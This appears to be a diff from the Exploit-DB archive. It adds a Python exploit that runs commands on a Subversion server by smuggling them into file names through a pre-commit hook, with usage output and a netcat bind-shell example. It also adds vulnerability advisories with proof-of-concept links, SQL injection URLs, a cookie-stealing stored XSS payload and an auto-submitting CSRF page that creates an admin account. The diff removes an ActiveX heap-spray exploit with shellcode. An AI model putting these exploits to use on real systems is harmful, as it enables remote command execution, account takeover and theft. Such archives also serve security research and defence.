# According to the subversion documentation, svn-keyword-check.pl needs
|
||||
# to be called by pre-commit. svn-keyword-check.pl will return 1 if it
|
||||
# detects something that should prevent the commit. In that case, the
|
||||
# subversion server will cancel the commit. Here's how pre-commit looked
|
||||
# on my test server:
|
||||
|
||||
# notroot@ubuntu:/svn/repos/testrepo/hooks$ cat pre-commit
|
||||
# #!/bin/sh
|
||||
|
||||
# REPOS="$1"
|
||||
# TXN="$2"
|
||||
|
||||
# # Make sure that the log message contains some text.
|
||||
# #jSVNLOOK=/usr/bin/svnlook
|
||||
# $SVNLOOK log -t "$TXN" "$REPOS" | \
|
||||
# ep "[a-zA-Z0-9]" > /dev/null || exit 1
|
||||
#
|
||||
# # Exit on all errors.
|
||||
# set -e
|
||||
#
|
||||
# # Check the files that are are listed in "svnlook changed" (except deleted
|
||||
# # files) for possible problems with svn:keywords set on binary files.
|
||||
# "$REPOS"/hooks/svn-keyword-check.pl --repos $REPOS --transaction $TXN
|
||||
# #
|
||||
# #
|
||||
# #
|
||||
#
|
||||
# # All checks passed, so allow the commit.
|
||||
# exit 0
|
||||
#
|
||||
# ###############################################################
|
||||
#
|
||||
# 2. fix the bug in svn-keyword-check.pl
|
||||
#
|
||||
# ###############################################################
|
||||
# The script pre-commit will pass on repository and transaction to
|
||||
# the script svn-keyword-check.pl. Alternatively, it also accepts
|
||||
# repository and revision. However, specifying both transaction
|
||||
# and revision is illegal, only one of them is considered legal.
|
||||
# This reflects in the input parameter plausibility check
|
||||
# performed in line 89:
|
||||
#
|
||||
# if (defined($transaction) and !defined($revision)) {
|
||||
# croak "Can't define both revision and transaction!\n";
|
||||
# }
|
||||
#
|
||||
# Unfortunately, there is an exclamation mark too much. It must
|
||||
# be
|
||||
#
|
||||
# if (defined($transaction) and defined($revision)) {
|
||||
# croak "Can't define both revision and transaction!\n";
|
||||
# }
|
||||
#
|
||||
# The way this script is shipped in the 1.6.6 source distribution
|
||||
# no commit is possible at all.
|
||||
#
|
||||
# Before using the exploit you should first commit one file
|
||||
# manually so that the svn client can store your user/password
|
||||
# locally.
|
||||
#
|
||||
# Then, open a shell and navigate to the directory of your project
|
||||
# and start python cve-2013-2088-1.py <command>:
|
||||
#
|
||||
# kai@KTEC64:~/eworkspace/kais_1_project$ python svn_exploit2.py ifconfig
|
||||
# [+] Randfilename is mJHeSkya
|
||||
# [+] Created random file
|
||||
# [+] Submitted random file to version control
|
||||
# [+] Created fake file for cmd execution
|
||||
# [+] Exploit seems to work:
|
||||
#
|
||||
# eth0 Link encap:Ethernet HWaddr 00:0c:29:08:a3:1a
|
||||
# inet addr:192.168.26.136 Bcast:192.168.26.255 Mask:255.255.255.0
|
||||
# inet6 addr: fe80::20c:29ff:fe08:a31a/64 Scope:Link
|
||||
# UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
||||
# RX packets:1060 errors:0 dropped:0 overruns:0 frame:0
|
||||
# TX packets:806 errors:0 dropped:0 overruns:0 carrier:0
|
||||
# collisions:0 txqueuelen:1000
|
||||
# RX bytes:172042 (172.0 KB) TX bytes:136684 (136.6 KB)
|
||||
#
|
||||
# lo Link encap:Local Loopback
|
||||
# inet addr:127.0.0.1 Mask:255.0.0.0
|
||||
# inet6 addr: ::1/128 Scope:Host
|
||||
# UP LOOPBACK RUNNING MTU:16436 Metric:1
|
||||
# RX packets:0 errors:0 dropped:0 overruns:0 frame:0
|
||||
# TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
|
||||
# collisions:0 txqueuelen:0
|
||||
# RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
|
||||
#
|
||||
# kai@KTEC64:~/eworkspace/kais_1_project$ python svn_exploit2.py id
|
||||
# [+] Randfilename is WmolHiuv
|
||||
# [+] Created random file
|
||||
# [+] Submitted random file to version control
|
||||
# [+] Created fake file for cmd execution
|
||||
# [+] Exploit seems to work:
|
||||
#
|
||||
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
#
|
||||
#
|
||||
# Important things to notice
|
||||
|
||||
# * For each command execution the exploit will put a file under
|
||||
# version control. If you submit a lot of commands you will
|
||||
# create a lot of files with random 8 alphanumeric character
|
||||
# file names in your repository.
|
||||
# * Your command must not contain a / since file names must not
|
||||
# contain a /. In the author's test environment the current
|
||||
# working directory of apache was the root folder /.
|
||||
# Therefore, the exploit will replace / in the command with
|
||||
# $(pwd). This worked fine for the author.
|
||||
# In your environment this might be different. As first thing
|
||||
# execute $(pwd) in order to check if this works for you, too.
|
||||
# * The command execution assumes that your command prints something
|
||||
# to the terminal and exits. If you know your command will not
|
||||
# immediately terminate (e.g. because you're starting a reverse/
|
||||
# bind shell), provide the -d or --dont-terminate flag:
|
||||
# python svn_exploit2.py -d "/bin/bash 0</tmp/mypipe | nc -l 192.168.1.100 4444 1> /tmp/mypipe"
|
||||
#
|
||||
#
|
||||
#
|
||||
import sys
|
||||
import subprocess
|
||||
import argparse
|
||||
import random
|
||||
import os
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
lowerupper = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
slash_replacement = "$(pwd)"
|
||||
cwd = os.getcwd()
|
||||
|
||||
parser = argparse.ArgumentParser (usage="python {} [options] command".format (sys.argv [0]),
|
||||
epilog="\x0a\x0a")
|
||||
|
||||
parser.add_argument (dest="command", help="Command to execute")
|
||||
parser.add_argument ("-d", "--dont-terminate", help="don't force output be sent back to the client. Useful for reverse shell connections.",
|
||||
action="store_true")
|
||||
|
||||
#
|
||||
# args handling
|
||||
#
|
||||
if (len(sys.argv) <= 1):
|
||||
parser.print_help ()
|
||||
sys.exit (0)
|
||||
|
||||
args = parser.parse_args ()
|
||||
if not args.command:
|
||||
parser.print_help ()
|
||||
sys.exit (0)
|
||||
|
||||
#
|
||||
# / cannot be used in the command because svn will interprete it as
|
||||
# file separator. Therefore you have to use a workaround. Here,
|
||||
# $(pwd) works great for us.
|
||||
#
|
||||
command = args.command
|
||||
if command.find ("/") != -1:
|
||||
command = command.replace("/", slash_replacement)
|
||||
|
||||
#
|
||||
# prepare output files for stdout, stderr
|
||||
#
|
||||
sout = open ("stdout", "w+")
|
||||
serr = open ("stderr", "w+")
|
||||
|
||||
randfilename = ""
|
||||
for idx in range (0, 8):
|
||||
randfilename = randfilename + lowerupper [random.randint (0,51)]
|
||||
|
||||
print ("[+] Randfilename is {}".format(randfilename))
|
||||
|
||||
f = open (randfilename, "w+")
|
||||
f.write ("You've been pwned by GlacierZ0ne'") # write 4
|
||||
f.flush ()
|
||||
f.close ()
|
||||
|
||||
p = subprocess.Popen (["svn", "add", "./{randfilename}".format (randfilename=randfilename)],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
c = p.communicate ()
|
||||
sout.write (c[0])
|
||||
if len(c[1]) > 0:
|
||||
print ("[-] Create random file failed:")
|
||||
print (c[1])
|
||||
sys.exit (0)
|
||||
print ("[+] Created random file")
|
||||
|
||||
p = subprocess.Popen (["svn", "commit", "-m", "I pwned you", "./{randfilename}".format (randfilename=randfilename)],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
c = p.communicate ()
|
||||
sout.write (c[0])
|
||||
if len(c[1]) > 0:
|
||||
print ("[-] Submission of random file failed:")
|
||||
print (c[1])
|
||||
sys.exit (0)
|
||||
print ("[+] Submitted random file to version control")
|
||||
|
||||
fakefilename = None
|
||||
if args.dont_terminate == True:
|
||||
fakefilename = "{}; {}".format (randfilename, command)
|
||||
else:
|
||||
fakefilename = "{}; {} 1>&2; exit 1".format (randfilename, command)
|
||||
f = open (fakefilename, "w+")
|
||||
f.write ("You've been pwned by GlacierZ0ne") # write 4
|
||||
f.flush ()
|
||||
f.close ()
|
||||
|
||||
p = subprocess.Popen (["svn", "add", "{fakefilename}"
|
||||
.format (cwd=cwd, fakefilename=fakefilename)],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
c = p.communicate ()
|
||||
sout.write (c[0])
|
||||
if len(c[1]) > 0:
|
||||
print ("[-] Creation of fake file failed:")
|
||||
print (c[1])
|
||||
sys.exit (0)
|
||||
print ("[+] Created fake file for cmd execution")
|
||||
|
||||
p = subprocess.Popen (["svn", "commit", "-m", "I pwned you", "{fakefilename}"
|
||||
.format (cwd=cwd, fakefilename=fakefilename)],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
c = p.communicate ()
|
||||
sout.write (c[0])
|
||||
if len(c[1]) == 0:
|
||||
if not args.dont_terminate:
|
||||
print "[-] Something went wrong, pre-commit hook didn't kick in."
|
||||
else:
|
||||
print "[!] Done"
|
||||
sys.exit (0)
|
||||
else:
|
||||
idx0= c[1].find ("Commit blocked by pre-commit hook")
|
||||
idx = c[1].find ("failed with this output")
|
||||
|
||||
if idx0 != -1 and idx != -1:
|
||||
print ("[+] Exploit seems to work: ")
|
||||
print (c[1][idx + len("failed with this output") + 1:])
|
||||
|
||||
sout.flush ()
|
||||
sout.close ()
|
||||
serr.flush ()
|
||||
serr.close ()
|
||||
63
platforms/multiple/dos/40510.txt
Executable file
63
platforms/multiple/dos/40510.txt
Executable file
|
|
@ -0,0 +1,63 @@
|
|||
#####################################################################################
|
||||
|
||||
# Application: Adobe Flash Player
|
||||
# Platforms: Windows,OSX
|
||||
# Versions: 23.0.0.162 and earlier
|
||||
# Author: Francis Provencher of COSIG
|
||||
# Website: https://cosig.gouv.qc.ca/en/advisory/
|
||||
# Twitter: @COSIG_
|
||||
# Date: October 11, 2016
|
||||
# CVE-2016-4273
|
||||
# COSIG-2016-35
|
||||
|
||||
#####################################################################################
|
||||
|
||||
1) Introduction
|
||||
2) Report Timeline
|
||||
3) Technical details
|
||||
4) POC
|
||||
|
||||
#####################################################################################
|
||||
|
||||
================
|
||||
1) Introduction
|
||||
================
|
||||
|
||||
Adobe Flash Player (labeled Shockwave Flash in Internet Explorer and Firefox) is a freeware software for using content created
|
||||
on the Adobe Flash platform, including viewing multimedia, executing rich Internet applications, and streaming video and audio.
|
||||
Flash Player can run from a web browser as a browser plug-in or on supported mobile devices.[7] Flash Player was created by Macromedia
|
||||
and has been developed and distributed by Adobe Systems since Adobe acquired Macromedia.
|
||||
|
||||
(https://en.wikipedia.org/wiki/Adobe_Flash_Player)
|
||||
|
||||
#####################################################################################
|
||||
|
||||
============================
|
||||
2) Rapport de Coordination
|
||||
============================
|
||||
|
||||
2016-05-17: Francis Provencher of COSIG report this vulnerability to Adobe PSIRT;
|
||||
2016-05-23: Adobe PSIRT confirm this vulnerability;
|
||||
2016-10-11: Adobe publish a patch (APSB16-32);
|
||||
2016-10-11: Advisory released by COSIG;
|
||||
|
||||
#####################################################################################
|
||||
|
||||
=====================
|
||||
3) Technical details
|
||||
=====================
|
||||
|
||||
The vulnerability allows a remote attacker to execute malicious code or access to a part of the dynamically allocated memory using a user interaction
|
||||
visiting a Web page or open a specially crafted SWF file, an attacker is able to create an “out of bound” memory corruption. A file with an “ActionRecord”
|
||||
structure that contain an invalid “ConstantPool” could lead to remote code execution in the context of the current user.
|
||||
|
||||
#####################################################################################
|
||||
|
||||
===========
|
||||
4) POC:
|
||||
===========
|
||||
|
||||
https://cosig.gouv.qc.ca/wp-content/uploads/2016/10/COSIG-2016-35.zip
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40510.zip
|
||||
|
||||
####################################################################################
|
||||
|
|
@ -1,4 +1,3 @@
|
|||
|
||||
Affected Products:
|
||||
<= PHP 5.2.3
|
||||
<= PHP 4.4.7
|
||||
|
|
|
|||
13
platforms/php/webapps/40511.txt
Executable file
13
platforms/php/webapps/40511.txt
Executable file
|
|
@ -0,0 +1,13 @@
|
|||
# Exploit Title: Categorizator 0.3.1 | SQL Injection
|
||||
# Date: 03/09/16
|
||||
# Exploit Author: Wad Deek
|
||||
# Vendor Homepage: http://lelogiciellibre.net/telecharger/annuaire-web.php
|
||||
# Software Link: ftp://ftp2.lelogiciellibre.net/lelogiciellibre/annu/categorizator031.zip
|
||||
# Version: 0.3.1
|
||||
# Tested on: Xampp on Windows7
|
||||
# Fuzzing tool: https://github.com/Trouiller-David/PHP-Source-Code-Analysis-Tools
|
||||
|
||||
################################################################
|
||||
PoC =3D http://localhost/cms/categorizator/vote.php?id_site=1'
|
||||
################################################################
|
||||
|
||||
31
platforms/php/webapps/40512.txt
Executable file
31
platforms/php/webapps/40512.txt
Executable file
|
|
@ -0,0 +1,31 @@
|
|||
# Exploit Title: NetBilletterie 2.8 | Multiple Vulnerabilities
|
||||
# Date: 14/07/16
|
||||
# Exploit Author: Wadeek
|
||||
# Website Author: https://github.com/Wad-Deek
|
||||
# Vendor Homepage: http://net-billetterie.tuxfamily.org/
|
||||
# Software Link: https://sourceforge.net/projects/netbilletterie/files/
|
||||
# Demo Link: http://net-billetterie.tuxfamily.org/NetBilletterieDemo/login.inc.php
|
||||
# Version: 2.8
|
||||
# Tested on: Xampp on Windows7
|
||||
# Fuzzing tool: https://github.com/Trouiller-David/PHP-Source-Code-Analysis-Tools
|
||||
|
||||
[phpinfo()]
|
||||
################################################################
|
||||
(200) => http://localhost/netbilletterie/php_info.php
|
||||
################################################################
|
||||
|
||||
[6 SQL Injection (Type: time-based blind)]
|
||||
################################################################
|
||||
(200) => http://localhost/netbilletterie/lister_detail_bon.php?date_debut=*
|
||||
(200) => http://localhost/netbilletterie/lister_pointes_ok.php?date_debut=*
|
||||
(302) => http://localhost/netbilletterie/delete_article.php?article=*
|
||||
(302) => http://localhost/netbilletterie/delete_banque.php?id_banque=*
|
||||
(302) => http://localhost/netbilletterie/delete_tarif.php?id_tarif=*
|
||||
(302) => http://localhost/netbilletterie/del_client.php?num=*
|
||||
################################################################
|
||||
|
||||
[2 SQL Injection (Type: boolean-based blind)]
|
||||
################################################################
|
||||
(200) => http://localhost/netbilletterie/fpdf/liste_spectateurs.php?article=*
|
||||
(200) => http://localhost/netbilletterie/fpdf/liste_spectateurs_attente.php?article=*
|
||||
################################################################
|
||||
18
platforms/php/webapps/40513.txt
Executable file
18
platforms/php/webapps/40513.txt
Executable file
|
|
@ -0,0 +1,18 @@
|
|||
# Exploit Title: OpenCimetiere v3.0.0-a5 | Blind SQL Injection
|
||||
# Date: 06/08/16
|
||||
# Exploit Author: Wad Deek
|
||||
# Vendor Homepage: http://www.openmairie.org/
|
||||
# Software Link: http://www.openmairie.org/catalogue/opencimetiere/
|
||||
# Version: 3.0.0-a5
|
||||
+>3.0.0-a5<+ --> /opencimetiere/HISTORY.txt
|
||||
# Tested on: Xampp with PostgreSQL on Windows 7
|
||||
# Fuzzing tool: https://github.com/Trouiller-David/PHP-Source-Code-Analysis-Tools
|
||||
|
||||
################################################################
|
||||
[SQL Injection (Type: AND/OR time-based blind)]
|
||||
################################################################
|
||||
[Database] opencimetiere
|
||||
[Table] om_utilisateur
|
||||
[Columns] login,pwd
|
||||
{POST} "/opencimetiere/scr/login.php", "login.action.connect=Se%20connecter&came_from=&login=[SQLi]&password=paSSw0rd"
|
||||
################################################################
|
||||
37
platforms/php/webapps/40516.txt
Executable file
37
platforms/php/webapps/40516.txt
Executable file
|
|
@ -0,0 +1,37 @@
|
|||
# Exploit Title :----------------- : ApPHP MicroCMS 3.9.5 - Stored Cross Site Scripting
|
||||
# Author :------------------------ : Besim
|
||||
# Google Dork :---------------- : -
|
||||
# Date :-------------------------- : 12/10/2016
|
||||
# Type :-------------------------- : webapps
|
||||
# Platform : -------------------- : PHP
|
||||
# Vendor Homepage :------- : http://www.apphp.com
|
||||
# Software link : -------------- : https://www.apphp.com/customer/index.php?page=free-products
|
||||
|
||||
-*-*-*-*-*-*-*-*- Description -*-*-*-*-*-*-*-*-
|
||||
|
||||
*-* Vulnerable link : http://site_name/path/index.php?page=pages&pid=
|
||||
|
||||
*-* Stored XSS Payload ( Comments ):
|
||||
|
||||
# Vulnerable URL : http://site_name/path/index.php?page=posts&post_id= - Post comment section
|
||||
# Vuln. Parameter : comment_user_name
|
||||
# Payload : <svg/onload=prompt(7);//>
|
||||
|
||||
|
||||
############ POST DATA ############
|
||||
|
||||
task=publish_comment &
|
||||
comment_id=
|
||||
& article_id=13
|
||||
&user_id=
|
||||
&token=212529c97855409e56c0e333721461df
|
||||
&comment_user_name=<svg/onload=prompt(document.cookie);//>
|
||||
&comment_user_email=meryem@yopmai.com
|
||||
&comment_text=skdLSJDLKSDKJ
|
||||
&captcha_code=w7AG
|
||||
&btnSubmitPC=Publish your comment
|
||||
|
||||
############ ########## ############
|
||||
|
||||
|
||||
*-* Thanks Meryem AKDOĞAN *-*
|
||||
53
platforms/php/webapps/40517.html
Executable file
53
platforms/php/webapps/40517.html
Executable file
|
|
@ -0,0 +1,53 @@
|
|||
# Exploit Title :----------------- : ApPHP MicroCMS 3.9.5 - Cross-Site Request Forgery (Add Admin (Main))
|
||||
# Author :------------------------ : Besim
|
||||
# Google Dork :---------------- : -
|
||||
# Date :-------------------------- : 12/10/2016
|
||||
# Type :-------------------------- : webapps
|
||||
# Platform : -------------------- : PHP
|
||||
# Vendor Homepage :------- : http://www.apphp.com
|
||||
# Software link : -------------- : https://www.apphp.com/customer/index.php?page=free-products
|
||||
|
||||
*-* Vulnerable link : http://site_name/path/index.php?admin=admins_management
|
||||
|
||||
|
||||
############ CSRF PoC #############
|
||||
|
||||
<html>
|
||||
<!-- CSRF PoC -->
|
||||
<body>
|
||||
<form action="http://site_name/path/index.php?admin=admins_management" method="POST" enctype="multipart/form-data">
|
||||
<input type="hidden" name="mg_prefix" value=" " />
|
||||
<input type="hidden" name="mg_action" value="create" />
|
||||
<input type="hidden" name="mg_rid" value="-1" />
|
||||
<input type="hidden" name="mg_sorting_fields" value=" " />
|
||||
<input type="hidden" name="mg_sorting_types" value=" " />
|
||||
<input type="hidden" name="mg_page" value="1" />
|
||||
<input type="hidden" name="mg_operation" value=" " />
|
||||
<input type="hidden" name="mg_operation_type" value=" " />
|
||||
<input type="hidden" name="mg_operation_field" value=" " />
|
||||
<input type="hidden" name="mg_search_status" value=" " />
|
||||
<input type="hidden" name="mg_language_id" value=" " />
|
||||
<input type="hidden" name="mg_operation_code" value="yh0ox75feagwqbccp8ef" />
|
||||
<input type="hidden" name="token" value="dbe0e51cf3a5ce407336a94f52043157" />
|
||||
<input type="hidden" name="date_lastlogin" value=" " />
|
||||
<input type="hidden" name="date_created" value="2016-10-12 21:14:06" />
|
||||
<input type="hidden" name="first_name" value="meryem" />
|
||||
<input type="hidden" name="last_name" value="ak" />
|
||||
<input type="hidden" name="email" value="mmm@yopmail.com" />
|
||||
<input type="hidden" name="user_name" value="meryem" />
|
||||
<input type="hidden" name="password" value="meryem" />
|
||||
<input type="hidden" name="account_type" value="admin" />
|
||||
<input type="hidden" name="preferred_language" value="en" />
|
||||
<input type="hidden" name="is_active" value="1" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
############ ########## ############
|
||||
|
||||
|
||||
*-* Thanks Meryem AKDOĞAN *-*
|
||||
60
platforms/windows/dos/40508.txt
Executable file
60
platforms/windows/dos/40508.txt
Executable file
|
|
@ -0,0 +1,60 @@
|
|||
#####################################################################################
|
||||
|
||||
# Application: Cisco Webex Player
|
||||
# Platforms: Windows
|
||||
# Versions: Cisco Webex Meeting Player version T29.10
|
||||
# Author: Francis Provencher of COSIG
|
||||
# Website: https://cosig.gouv.qc.ca/en/advisory/
|
||||
# Twitter: @COSIG_
|
||||
# Date: August 31, 2016
|
||||
# CVE: CVE-2016-1464
|
||||
# COSIG-2016-33
|
||||
|
||||
#####################################################################################
|
||||
|
||||
1) Introduction
|
||||
2) Report Timeline
|
||||
3) Technical details
|
||||
4) POC
|
||||
|
||||
#######################################################################################
|
||||
|
||||
===================
|
||||
1) Introduction
|
||||
===================
|
||||
|
||||
Cisco WebEx, formerly WebEx Communications Inc. is a company that provides on-demand collaboration, online meeting, web conferencing and videoconferencing applications. Its products include Meeting Center, Training Center, Event Center, Support Center, Sales Center, MeetMeNow, PCNow, WebEx AIM Pro Business Edition, WebEx WebOffice, and WebEx Connect. All WebEx products are part of the Cisco collaboration portfolio. All Cisco WebEx products are offered by Cisco Systems Inc.
|
||||
|
||||
(https://en.wikipedia.org/wiki/WebEx)
|
||||
|
||||
#######################################################################################
|
||||
|
||||
===================
|
||||
2) Report Timeline
|
||||
===================
|
||||
|
||||
2016-05-25: Francis Provencher of COSIG report the vulnerability to Cisco PSIRT
|
||||
2016-06-07: Cisco PSIRT confirm the vulnerability
|
||||
2016-08-09: Cisco fixed the issue
|
||||
2016-08-09: Advisory released
|
||||
|
||||
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160831-meetings-player
|
||||
|
||||
#######################################################################################
|
||||
|
||||
===================
|
||||
3) Technical details
|
||||
===================
|
||||
|
||||
The specific flaw exists within the parsing process of an invalid JPG in WRF file. An attacker can use this flaw to create a use-after-free memory corruption, which could allow for the execution of arbitrary code in the context of the current process
|
||||
|
||||
#######################################################################################
|
||||
|
||||
==========
|
||||
4) POC
|
||||
==========
|
||||
|
||||
https://cosig.gouv.qc.ca/wp-content/uploads/2016/09/COSIG-2016-33.zip
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40508.zip
|
||||
|
||||
#######################################################################################
|
||||
60
platforms/windows/dos/40509.txt
Executable file
60
platforms/windows/dos/40509.txt
Executable file
|
|
@ -0,0 +1,60 @@
|
|||
#####################################################################################
|
||||
|
||||
# Application: Cisco Webex Player
|
||||
# Platforms: Windows
|
||||
# Versions: Cisco Webex Meeting Player version T29.10
|
||||
# Author: Francis Provencher of COSIG
|
||||
# Website: https://cosig.gouv.qc.ca/en/advisory/
|
||||
# Twitter: @COSIG_
|
||||
# Date: August 31, 2016
|
||||
# CVE: CVE-2016-1415
|
||||
# COSIG-2016-34
|
||||
|
||||
#####################################################################################
|
||||
|
||||
1) Introduction
|
||||
2) Report Timeline
|
||||
3) Technical details
|
||||
4) POC
|
||||
|
||||
#######################################################################################
|
||||
|
||||
===================
|
||||
1) Introduction
|
||||
===================
|
||||
|
||||
Cisco WebEx, formerly WebEx Communications Inc. is a company that provides on-demand collaboration, online meeting, web conferencing and videoconferencing applications. Its products include Meeting Center, Training Center, Event Center, Support Center, Sales Center, MeetMeNow, PCNow, WebEx AIM Pro Business Edition, WebEx WebOffice, and WebEx Connect. All WebEx products are part of the Cisco collaboration portfolio. All Cisco WebEx products are offered by Cisco Systems Inc.
|
||||
|
||||
(https://en.wikipedia.org/wiki/WebEx)
|
||||
|
||||
#######################################################################################
|
||||
|
||||
===================
|
||||
2) Report Timeline
|
||||
===================
|
||||
|
||||
2016-05-25: Francis Provencher of COSIG report the vulnerability to Cisco PSIRT
|
||||
2016-06-07: Cisco PSIRT confirm the vulnerability
|
||||
2016-08-09: Cisco fixed the issue
|
||||
2016-08-09: Advisory released
|
||||
|
||||
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160831-meetings-player
|
||||
|
||||
#######################################################################################
|
||||
|
||||
===================
|
||||
3) Technical details
|
||||
===================
|
||||
|
||||
The flaw exists within the parsing process of an invalid ARF file. An attacker can use this flaw to create an out-of-bound memory corruption which could allow for the execution of arbitrary code in the context of the current process.
|
||||
|
||||
#######################################################################################
|
||||
|
||||
==========
|
||||
4) POC
|
||||
==========
|
||||
|
||||
https://cosig.gouv.qc.ca/wp-content/uploads/2016/09/COSIG-2016-34.zip
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40509.zip
|
||||
|
||||
#######################################################################################
|
||||
|
|
@ -1,58 +0,0 @@
|
|||
source: http://www.securityfocus.com/bid/25086/info
|
||||
|
||||
Yahoo! Widgets Engine is prone to a buffer-overflow vulnerability because it fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.
|
||||
|
||||
Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.
|
||||
|
||||
Yahoo! Widgets Engine 4.0.3 (build 178) is reported vulnerable; other versions may be affected as well.
|
||||
|
||||
<html>
|
||||
<!--
|
||||
+++++++++++++++++++++++
|
||||
+Last Modified by lhoang8500++
|
||||
+++++++++++++++++++++++
|
||||
-->
|
||||
<html>
|
||||
<object classid="CLSID:7EC7B6C5-25BD-4586-A641-D2ACBB6629DD"
|
||||
id="target"></OBJECT>
|
||||
|
||||
<SCRIPT language="javascript">
|
||||
|
||||
var heapSprayToAddress = 0x05050505;
|
||||
|
||||
var payLoadCode =
|
||||
unescape("%uc931%ue983%ud9b0%ud9ee%u2474%u5bf4%u7381%u2713%uf3fc%u830c%ufceb%uf4e2%u96db%u4118%u05cf%uf30c%u9cd8%u6078%ud803%u4978%u771b%u098f%ufd5f%u871c%ue468%u5378%ufd07%u4518%uc8ac%u0d78%ucdc9%u9533%u788b%u7833%u3d20%u0139%u3e26%uf818%ua81c%u24d7%u1952%u5378%ufd03%u6a18%uf0ac%u87b8%ue078%ue7f2%ud024%u8578%ud84b%u6def%ucde4%u6828%ubfac%u87c3%uf067%u7c78%u513b%u4c78%ua22f%u829b%uf269%u5c1f%u2ad8%u5f95%u9441%u3ec0%u8b4f%u3e80%ua878%udc0c%u374f%uf01e%uac1c%uda0c%u7578%u6a16%u11a6%u0efb%u9672%uf3f1%u94f7%u052a%u51d2%uf3a4%uaff1%u5fa0%uaf74%u5fb0%uaf64%udc0c%u9441%u50e2%uaf41%ued7a%u94b2%u1657%u3b57%uf3a4%u96f1%u5de3%u0372%u6423%u5183%ue5dd%u0370%u5f25%u0372%u6423%ub5c2%u4575%u0370%u5c25%ua873%uf3a6%u6ff7%ueb9b%u3a5e%u5b8a%u2ad8%uf3a6%u9af7%u6899%u9441%u6190%u19ae%u5c99%ud57e%u853f%u96c0%u85b7%ucdc5%uff33%u028d%u21b1%ubed9%u9fdf%u86aa%ua7cb%u578c%u7e9b%u4fd9%uf3e5%ub852%uda0c%uab7c%u5da1%uad76%u0d99%uad76%u5da6%u2cd8%ua19b%uf9fe%u5f3d%u2ad8%uf399%ucbd8%udc0c%uabac%u8f0f%u98e3%uda0c%u0375%u6423%u76d7%u53f7%u0374%uf325%ufcf7%u0cf3%u0000");
|
||||
|
||||
var heapBlockSize = 0x400000;
|
||||
|
||||
var payLoadSize = payLoadCode.length * 2;
|
||||
|
||||
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
|
||||
|
||||
var spraySlide = unescape("%u9090%u9090");
|
||||
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
|
||||
|
||||
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
|
||||
|
||||
memory = new Array();
|
||||
|
||||
for (i=0;i<heapBlocks;i++)
|
||||
{
|
||||
memory[i] = spraySlide + payLoadCode;
|
||||
}
|
||||
function getSpraySlide(spraySlide, spraySlideSize)
|
||||
{
|
||||
while (spraySlide.length*2<spraySlideSize)
|
||||
{
|
||||
spraySlide += spraySlide;
|
||||
}
|
||||
spraySlide = spraySlide.substring(0,spraySlideSize/2);
|
||||
return spraySlide;
|
||||
};
|
||||
var buffer = unescape("%u0505");
|
||||
while (buffer.length < 845) buffer+='\x0A';
|
||||
while (buffer.length< 1000) buffer+=unescape("%u0505");
|
||||
|
||||
target.GetComponentVersion(buffer);
|
||||
</script>
|
||||
</html>
|
||||
Loading…
Add table
Reference in a new issue